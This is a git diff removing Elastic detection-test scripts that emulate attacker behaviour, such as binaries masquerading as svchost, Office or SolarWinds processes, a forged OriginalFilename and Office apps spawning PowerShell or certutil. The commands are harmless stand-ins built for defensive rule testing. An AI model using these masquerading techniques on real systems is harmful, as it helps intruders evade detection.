-@common.requires_os(*metadata.platforms) -def main(): - dns = "C:\\Users\\Public\\dns.exe" - common.copy_file(EXE_FILE, dns) - - common.execute([dns, "/c", EXE_FILE, "echo AAAAAA | Out-File a.txt"], timeout=5, kill=True) - common.remove_files(dns) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_child_exchange_um.py b/rta/suspicious_child_exchange_um.py deleted file mode 100644 index d8cbf2c7f..000000000 --- a/rta/suspicious_child_exchange_um.py +++ /dev/null @@ -1,33 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="9f58f9e7-a0f5-48e6-a924-d437fd626195", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '483c4daf-b0c6-49e0-adf3-0bfa93231d6b', - 'rule_name': 'Microsoft Exchange Server UM Spawning Suspicious Processes' - }], - techniques=['T1190'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - umservice = "C:\\Users\\Public\\umservice.exe" - common.copy_file(EXE_FILE, umservice) - - common.execute([umservice, "/c", EXE_FILE], timeout=5, kill=True) - common.remove_files(umservice) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_child_explorer.py b/rta/suspicious_child_explorer.py deleted file mode 100644 index 73f37bbb1..000000000 --- a/rta/suspicious_child_explorer.py +++ /dev/null @@ -1,30 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="bc837b89-713a-4d21-a086-8649e8411f11", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '9a5b4e31-6cde-4295-9ff7-6be1b8567e1b', 'rule_name': 'Suspicious Explorer Child Process'}], - techniques=['T1566', 'T1566.001', 'T1566.002'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - explorer = "C:\\Users\\Public\\explorer.exe" - common.copy_file(EXE_FILE, explorer) - - common.execute([explorer, "-c", "echo", "-Embedding", ";powershell"], timeout=5, kill=True) - common.remove_file(explorer) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_child_services.py b/rta/suspicious_child_services.py deleted file mode 100644 index d01404593..000000000 --- a/rta/suspicious_child_services.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="a840e9b2-5aac-41a1-8c79-03ff624eb77b", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '0022d47d-39c7-4f69-a232-4fe9dc7a3acd', 'rule_name': 'System Shells via Services'}], - techniques=['T1543', 'T1543.003'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - services = "C:\\Users\\Public\\services.exe" - pwsh = "C:\\Users\\Public\\pwsh.exe" - common.copy_file(EXE_FILE, pwsh) - common.copy_file(EXE_FILE, services) - - common.execute([services, "/c", pwsh], timeout=5, kill=True) - common.remove_files(pwsh, services) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_child_solarwinds_businesslayerhost.py b/rta/suspicious_child_solarwinds_businesslayerhost.py deleted file mode 100644 index 71fabbb8b..000000000 --- a/rta/suspicious_child_solarwinds_businesslayerhost.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="e55c13d4-ab70-4a3d-ba1e-c54156000e42", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '93b22c0a-06a0-4131-b830-b10d5e166ff4', 'rule_name': 'Suspicious SolarWinds Child Process'}], - techniques=['T1106', 'T1195', 'T1195.002'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - buzz = "C:\\Users\\Public\\SolarWinds.BusinessLayerHost.exe" - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - common.copy_file(EXE_FILE, buzz) - - # Execute command - common.execute([buzz, "/c", powershell], timeout=2, kill=True) - common.remove_file(buzz) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_child_solarwindsdiagnostics.py b/rta/suspicious_child_solarwindsdiagnostics.py deleted file mode 100644 index f0a0d347c..000000000 --- a/rta/suspicious_child_solarwindsdiagnostics.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="810554c9-fe55-4fdd-8127-e753ae448d52", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': 'd72e33fc-6e91-42ff-ac8b-e573268c5a87', 'rule_name': 'Command Execution via SolarWinds Process'}], - techniques=['T1059', 'T1195', 'T1195.002'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - solarwindsdiagnostics = "C:\\Users\\Public\\solarwindsdiagnostics.exe" - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - common.copy_file(EXE_FILE, solarwindsdiagnostics) - - # Execute command - common.execute([solarwindsdiagnostics, "/c", powershell], timeout=2, kill=True) - common.remove_file(solarwindsdiagnostics) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_child_svchost_sch.py b/rta/suspicious_child_svchost_sch.py deleted file mode 100644 index 3ca3958a5..000000000 --- a/rta/suspicious_child_svchost_sch.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="6df14bf3-6153-4ff2-aa0f-f91f2aa06b7b", - platforms=["windows"], - endpoint=[ - { - "rule_name": "Potential Masquerading as SVCHOST", "rule_id": "5b00c9ba-9546-47cc-8f9f-1c1a3e95f65c" - }, - ], - siem=[{'rule_id': '5d1d6907-0747-4d5d-9b24-e4a18853dc0a', 'rule_name': 'Suspicious Execution via Scheduled Task'}], - techniques=['T1053', 'T1053.005', 'T1036', 'T1036.004'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - svchost = "C:\\Users\\Public\\svchost.exe" - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - common.copy_file(EXE_FILE, svchost) - - common.execute([svchost, "/c", "echo", "schedule", f";{powershell}", "C:\\Users\\A"], timeout=5, kill=True) - common.remove_files(svchost) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_child_wmiprvse.py b/rta/suspicious_child_wmiprvse.py deleted file mode 100644 index bf48690eb..000000000 --- a/rta/suspicious_child_wmiprvse.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="1f1833da-dca4-467c-9a9d-a61cf41d6b63", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '770e0c4d-b998-41e5-a62e-c7901fd7f470', 'rule_name': 'Enumeration Command Spawned via WMIPrvSE'}], - techniques=['T1047', 'T1018', 'T1087', 'T1518'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - wmiprvse = "C:\\Users\\Public\\wmiprvse.exe" - arp = "C:\\Windows\\System32\\arp.exe" - common.copy_file(EXE_FILE, wmiprvse) - - # Execute command - common.execute([wmiprvse, "/c", arp], timeout=2, kill=True) - common.remove_file(wmiprvse) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_child_zoom.py b/rta/suspicious_child_zoom.py deleted file mode 100644 index 9e8f15d43..000000000 --- a/rta/suspicious_child_zoom.py +++ /dev/null @@ -1,33 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="00402735-f78d-4ed6-9f8e-a1b365c42f5b", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '97aba1ef-6034-4bd3-8c1a-1e0996b27afa', 'rule_name': 'Suspicious Zoom Child Process'}], - techniques=['T1036', 'T1055'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - zoom = "C:\\Users\\Public\\zoom.exe" - pwsh = "C:\\Users\\Public\\pwsh.exe" - common.copy_file(EXE_FILE, zoom) - common.copy_file(EXE_FILE, pwsh) - - # Execute command - common.execute([zoom, "/c", pwsh], timeout=2, kill=True) - common.remove_files(zoom, pwsh) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_dll_registration_regsvr32.py b/rta/suspicious_dll_registration_regsvr32.py deleted file mode 100644 index 98f986284..000000000 --- a/rta/suspicious_dll_registration_regsvr32.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Suspicious DLL Registration by Regsvr32 -# RTA: suspicious_dll_registration_regsvr32.py -# ATT&CK: T1117 -# Description: Pretends to register DLL without traditional DLL extension using RegSvr32 - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="cda5b0b4-5b9c-4285-8adc-f89b375e5485", - platforms=["windows"], - endpoint=[], - siem=[], - techniques=[] -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Suspicious DLL Registration by Regsvr32") - - common.execute(["regsvr32.exe", "-s", "meow.txt"]) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_kibana_child.py b/rta/suspicious_kibana_child.py deleted file mode 100644 index 6c517fef9..000000000 --- a/rta/suspicious_kibana_child.py +++ /dev/null @@ -1,49 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import pathlib -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="5fce12c8-642a-49ad-9a94-e21d23149afb", - platforms=["linux"], - endpoint=[ - { - "rule_id": "0b206183-7f90-461d-80b3-8a147147ae78", - "rule_name": "Suspicious Kibana Child Process", - }, - ], - siem=[], - techniques=["T1190", "T1059", "T1059.004"], -) - - -@common.requires_os(metadata.platforms) -def main() -> None: - masquerade = "/tmp/kibana/node/bin/node" - executable_dir = "/tmp/kibana/node/bin/" - pathlib.Path(executable_dir).mkdir(parents=True, exist_ok=True) - masquerade2 = "/tmp/bash" - # Using the Linux binary that simulates parent-> child process in Linux - source = common.get_path("bin", "linux_ditto_and_spawn_parent_child") - common.copy_file(source, masquerade) - common.copy_file(source, masquerade2) - - # Execute command - common.log("Executing Fake Commands to simulate Shell Command Execution via Kworker") - command = ( - f"{masquerade2} /bin/sh -c lsb_release -a , " - f"/bin/sh -c git rev-parse --short HEAD echo --unhandled-rejections=warn" - ) - common.execute([masquerade, "childprocess", command], timeout=10, kill=True, shell=True) # noqa: S604 - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/suspicious_lineage_script.py b/rta/suspicious_lineage_script.py deleted file mode 100644 index f498fe95d..000000000 --- a/rta/suspicious_lineage_script.py +++ /dev/null @@ -1,47 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="7961c43d-4dd8-45ec-b237-a940bf55d114", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': 'e7125cea-9fe1-42a5-9a05-b0792cf86f5a', - 'rule_name': 'Execution of Persistent Suspicious Program' - }], - techniques=['T1547', 'T1547.001'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") -RENAMER = common.get_path("bin", "rcedit-x64.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - cscript = "C:\\Users\\Public\\cscript.exe" - explorer = "C:\\Users\\Public\\explorer.exe" - userinit = "C:\\Users\\Public\\userinit.exe" - winlogon = "C:\\Users\\Public\\winlogon.exe" - rcedit = "C:\\Users\\Public\\rcedit.exe" - common.copy_file(EXE_FILE, cscript) - common.copy_file(EXE_FILE, explorer) - common.copy_file(EXE_FILE, userinit) - common.copy_file(EXE_FILE, winlogon) - common.copy_file(RENAMER, rcedit) - - # Execute command - common.log("Modifying the OriginalFileName attribute") - common.execute([rcedit, cscript, "--set-version-string", "OriginalFilename", "cscript.exe"]) - - common.execute([winlogon, "/c", userinit], timeout=5, kill=True) - common.execute([explorer, "/c", cscript], timeout=5, kill=True) - common.remove_files(cscript, explorer, userinit, winlogon) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_mining_process.py b/rta/suspicious_mining_process.py deleted file mode 100644 index 29856105f..000000000 --- a/rta/suspicious_mining_process.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="425ba45e-10eb-4067-93f4-95701d26da3d", - platforms=["linux"], - endpoint=[{"rule_id": "fbf9342e-3d1e-4fba-a828-92fa0fb4d21b", "rule_name": "Suspicious Mining Process Events"}], - siem=[], - techniques=["T1059", "T1059.004"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - masquerade = "/tmp/systemctl" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - # Execute command - common.log("Launching fake builtin commands for disabling common mining services by name") - command = "start" - command1 = "apache4.service" - common.execute([masquerade, command, command1], timeout=10, kill=True, shell=True) # noqa: S604 - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/suspicious_msiexec_child.py b/rta/suspicious_msiexec_child.py deleted file mode 100644 index c63a13642..000000000 --- a/rta/suspicious_msiexec_child.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="2cefb7c2-5ffc-4410-a63c-bded93b258c3", - platforms=["windows"], - endpoint=[ - { - 'rule_id': '877c6bd9-8df1-4a15-aa97-2a091731b15d', - 'rule_name': 'Suspicious MsiExec Child Process' - }, - {'rule_id': '16c84e67-e5e7-44ff-aefa-4d771bcafc0c', 'rule_name': 'Execution from Unusual Directory'}, - {'rule_id': '35dedf0c-8db6-4d70-b2dc-a133b808211f', 'rule_name': 'Binary Masquerading via Untrusted Path'}, - {'rule_id': '5db08297-bf72-49f4-b426-f405c2b01326', 'rule_name': 'Regsvr32 with Unusual Arguments'} - ], - siem=[], - techniques=['T1218', 'T1218.007'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - msiexec = "C:\\Users\\Public\\msiexec.exe" - regsvr32 = "C:\\Users\\Public\\regsvr32.exe" - common.copy_file(EXE_FILE, msiexec) - common.copy_file(EXE_FILE, regsvr32) - - common.execute([msiexec, "/c", regsvr32, "echo", "scrobj.dll"], timeout=5, kill=True) - common.remove_files(msiexec) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_office_child.py b/rta/suspicious_office_child.py deleted file mode 100644 index cc0537b07..000000000 --- a/rta/suspicious_office_child.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="c798f63a-f8be-459a-bb75-407e97f55faa", - platforms=["windows"], - endpoint=[ - {"rule_name": "Suspicious Microsoft Office Child Process", "rule_id": "c34a9dca-66cf-4283-944d-1800b28ae690"} - ], - siem=[], - techniques=["T1566"], -) - -EXE_FILE = common.get_path("bin", "renamed.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - binary = "winword.exe" - common.copy_file(EXE_FILE, binary) - - # Execute command - common.execute([binary, "/c", "certutil.exe"], timeout=5, kill=True) - - common.remove_files(binary) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_office_children.py b/rta/suspicious_office_children.py deleted file mode 100644 index 0099d5eac..000000000 --- a/rta/suspicious_office_children.py +++ /dev/null @@ -1,46 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Emulate Suspect MS Office Child Processes -# RTA: suspect_office_children.py -# signal.rule.name: Suspicious MS Office Child Process -# ATT&CK: T1064 -# Description: Generates network traffic various children processes from emulated Office processes. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="cd8e06c0-fc62-4932-8ef7-b767570e88eb", - platforms=["windows"], - endpoint=[], - siem=[ - {"rule_id": "a624863f-a70d-417f-a7d2-7a404638d47f", "rule_name": "Suspicious MS Office Child Process"}, - {"rule_id": "32f4675e-6c49-4ace-80f9-97c9259dca2e", "rule_name": "Suspicious MS Outlook Child Process"} - ], - techniques=['T1566', 'T1566.001'], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - cmd_path = "c:\\windows\\system32\\cmd.exe" - binaries = ["adobe.exe", "winword.exe", "outlook.exe", "excel.exe", "powerpnt.exe"] - for binary in binaries: - common.copy_file(cmd_path, binary) - - # Execute a handful of commands - common.execute(["adobe.exe", "/c", "regsvr32.exe", "/s", "/?"], timeout=5, kill=True) - common.execute(["winword.exe", "/c", "certutil.exe"], timeout=5, kill=True) - common.execute(["outlook.exe", "/c", "powershell.exe", "-c", "whoami"], timeout=5, kill=True) - common.execute(["excel.exe", "/c", "cscript.exe", "-x"], timeout=5, kill=True) - - common.remove_files(*binaries) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_office_descendant_fp.py b/rta/suspicious_office_descendant_fp.py deleted file mode 100644 index 51ba3b763..000000000 --- a/rta/suspicious_office_descendant_fp.py +++ /dev/null @@ -1,62 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Emulate Suspect MS Office Child Processes -# RTA: suspect_office_children.py -# ATT&CK: T1064 -# Description: Generates various children processes from emulated Office processes. - -from pathlib import Path -import time - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="e6d124ee-27d3-48a6-8c59-354072ec9e00", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "a624863f-a70d-417f-a7d2-7a404638d47f", "rule_name": "Suspicious MS Office Child Process"}], - techniques=["T1566"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("MS Office unusual child process emulation") - suspicious_apps = [ - "msiexec.exe /i blah /quiet", - "powershell.exe exit", - "wscript.exe //b", - ] - cmd_path = "c:\\windows\\system32\\cmd.exe" - browser_path = Path("firefox.exe").resolve() - common.copy_file(cmd_path, browser_path) - - for office_app in ["winword.exe", "excel.exe"]: - - common.log("Emulating %s" % office_app) - office_path = Path(office_app).resolve() - common.copy_file(cmd_path, office_path) - - for command in suspicious_apps: - common.execute( - "%s /c %s /c %s" % (office_path, browser_path, command), - timeout=5, - kill=True, - ) - - common.log("Cleanup %s" % office_path) - common.remove_file(office_path) - - common.log("Sleep 5 to allow processes to finish") - time.sleep(5) - common.log("Cleanup %s" % browser_path) - common.remove_file(browser_path) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_parent_cmd.py b/rta/suspicious_parent_cmd.py deleted file mode 100644 index 7bb16f08d..000000000 --- a/rta/suspicious_parent_cmd.py +++ /dev/null @@ -1,32 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="41ea3472-7ec7-4c4a-baf4-b1805ba597df", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '3b47900d-e793-49e8-968f-c90dc3526aa1', 'rule_name': 'Unusual Parent Process for cmd.exe'}], - techniques=['T1059'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - logonui = "C:\\Users\\Public\\logonui.exe" - cmd = "C:\\Windows\\System32\\cmd.exe" - common.copy_file(EXE_FILE, logonui) - - # Execute command - common.execute([logonui, "/c", cmd], timeout=2, kill=True) - common.remove_file(logonui) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_parent_csc.py b/rta/suspicious_parent_csc.py deleted file mode 100644 index 959cf0495..000000000 --- a/rta/suspicious_parent_csc.py +++ /dev/null @@ -1,33 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="07eaba7d-c0ff-4480-87cf-5ad39805dc92", - platforms=["windows"], - endpoint=[], - siem=[{'rule_id': '201200f1-a99b-43fb-88ed-f65a45c4972c', 'rule_name': 'Suspicious .NET Code Compilation'}], - techniques=['T1027', 'T1027.004'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - wscript = "C:\\Users\\Public\\wscript.exe" - csc = "C:\\Users\\Public\\csc.exe" - common.copy_file(EXE_FILE, wscript) - common.copy_file(EXE_FILE, csc) - - # Execute command - common.execute([wscript, "/c", csc], timeout=2, kill=True) - common.remove_files(wscript, csc) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_parent_msbuild_explorer.py b/rta/suspicious_parent_msbuild_explorer.py deleted file mode 100644 index 8f1cb2e6f..000000000 --- a/rta/suspicious_parent_msbuild_explorer.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="8fb34501-1774-4618-be8e-9db6294445ab", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '9d110cb3-5f4b-4c9a-b9f5-53f0a1707ae3', - 'rule_name': 'Microsoft Build Engine Started by a System Process' - }], - techniques=['T1127', 'T1127.001'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - explorer = "C:\\Users\\Public\\explorer.exe" - msbuild = "C:\\Users\\Public\\msbuild.exe" - common.copy_file(EXE_FILE, explorer) - common.copy_file(EXE_FILE, msbuild) - - # Execute command - common.execute([explorer, "/c", msbuild], timeout=2, kill=True) - common.remove_files(explorer, msbuild) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_parent_msbuild_office.py b/rta/suspicious_parent_msbuild_office.py deleted file mode 100644 index aa45b68ec..000000000 --- a/rta/suspicious_parent_msbuild_office.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="b279f4c3-2269-4557-b267-68dc2f88019b", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': 'c5dc3223-13a2-44a2-946c-e9dc0aa0449c', - 'rule_name': 'Microsoft Build Engine Started by an Office Application' - }], - techniques=['T1127', 'T1127.001'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - excel = "C:\\Users\\Public\\excel.exe" - msbuild = "C:\\Users\\Public\\msbuild.exe" - common.copy_file(EXE_FILE, excel) - common.copy_file(EXE_FILE, msbuild) - - # Execute command - common.execute([excel, "/c", msbuild], timeout=2, kill=True) - common.remove_files(excel, msbuild) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_parent_msbuild_script.py b/rta/suspicious_parent_msbuild_script.py deleted file mode 100644 index b3016dbb2..000000000 --- a/rta/suspicious_parent_msbuild_script.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="aafeb270-4704-4b5f-aa1b-1286dc14c5a9", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '9d110cb3-5f4b-4c9a-b9f5-53f0a1707ae2', - 'rule_name': 'Microsoft Build Engine Started by a Script Process' - }], - techniques=['T1127', 'T1127.001'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Users\\Public\\powershell.exe" - msbuild = "C:\\Users\\Public\\msbuild.exe" - common.copy_file(EXE_FILE, powershell) - common.copy_file(EXE_FILE, msbuild) - - # Execute command - common.execute([powershell, "/c", msbuild], timeout=2, kill=True) - common.remove_files(powershell, msbuild) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_parent_sc.py b/rta/suspicious_parent_sc.py deleted file mode 100644 index 90b141818..000000000 --- a/rta/suspicious_parent_sc.py +++ /dev/null @@ -1,34 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="eb1ecbae-a7d0-4beb-89fe-fbf2db0edce3", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': 'e8571d5f-bea1-46c2-9f56-998de2d3ed95', - 'rule_name': 'Service Control Spawned via Script Interpreter' - }], - techniques=['T1021'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" - sc = "C:\\Users\\Public\\sc.exe" - common.copy_file(EXE_FILE, sc) - - common.execute([powershell, "/c", sc, "echo", "create"], timeout=5, kill=True) - common.remove_files(sc) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_parent_smss.py b/rta/suspicious_parent_smss.py deleted file mode 100644 index 1f0691cd7..000000000 --- a/rta/suspicious_parent_smss.py +++ /dev/null @@ -1,36 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="46463426-0a03-448a-afe3-9215841ec86d", - platforms=["windows"], - endpoint=[], - siem=[{ - 'rule_id': '05b358de-aa6d-4f6c-89e6-78f74018b43b', - 'rule_name': 'Conhost Spawned By Suspicious Parent Process' - }], - techniques=['T1059'], -) -EXE_FILE = common.get_path("bin", "renamed_posh.exe") - - -@common.requires_os(*metadata.platforms) -def main(): - smss = "C:\\Users\\Public\\smss.exe" - conhost = "C:\\Users\\Public\\conhost.exe" - common.copy_file(EXE_FILE, smss) - common.copy_file(EXE_FILE, conhost) - - # Execute command - common.execute([smss, "/c", conhost], timeout=2, kill=True) - common.remove_files(smss, conhost) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/suspicious_powershell_download.py b/rta/suspicious_powershell_download.py deleted file mode 100644 index c45d2ff41..000000000 --- a/rta/suspicious_powershell_download.py +++ /dev/null @@ -1,49 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic 